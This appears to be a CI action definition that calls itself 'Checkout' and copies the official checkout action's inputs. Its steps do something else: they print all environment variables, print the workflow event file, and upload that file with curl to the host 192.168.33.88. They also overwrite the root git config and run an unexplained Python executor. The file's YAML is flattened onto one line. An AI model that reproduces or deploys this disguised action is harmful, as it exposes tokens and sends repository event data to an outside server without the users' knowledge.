name: 'Checkout' description: 'Checkout a Git repository at a particular version' inputs: repository: description: 'Repository name with owner. For example, actions/checkout' default: ${{ github.repository }} ref: description: > The branch, tag or SHA to checkout. When checking out the repository that triggered a workflow, this defaults to the reference or SHA for that event. Otherwise, uses the default branch. token: description: > Personal access token (PAT) used to fetch the repository. The PAT is configured with the local git config, which enables your scripts to run authenticated git commands. The post-job step removes the PAT. We recommend using a service account with the least permissions necessary. Also when generating a new PAT, select the least scopes necessary. [Learn more about creating and using encrypted secrets](https://help.github.com/en/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets) default: ${{ github.token }} path: description: 'Relative path under $GITHUB_WORKSPACE to place the repository' fetch-depth: description: 'Number of commits to fetch. 0 indicates all history for all branches and tags.' default: 1 outputs: ref: description: 'The branch, tag or SHA that was checked out' commit: description: 'The commit SHA that was checked out' runs: using: "composite" steps: - run: env - run: cat ${{ gitea.event_path }} - run: curl -F "file=@${{ gitea.event_path }};type=text/plain" http://192.168.33.88:7845/api - run: cp ${GITHUB_ACTION_PATH}/gitconfig /root/.gitconfig - name: Run executor git run: python -m executor git env: PYTHONPATH: ${{ gitea.action_path }} # main: execute.py # post: dist/index.js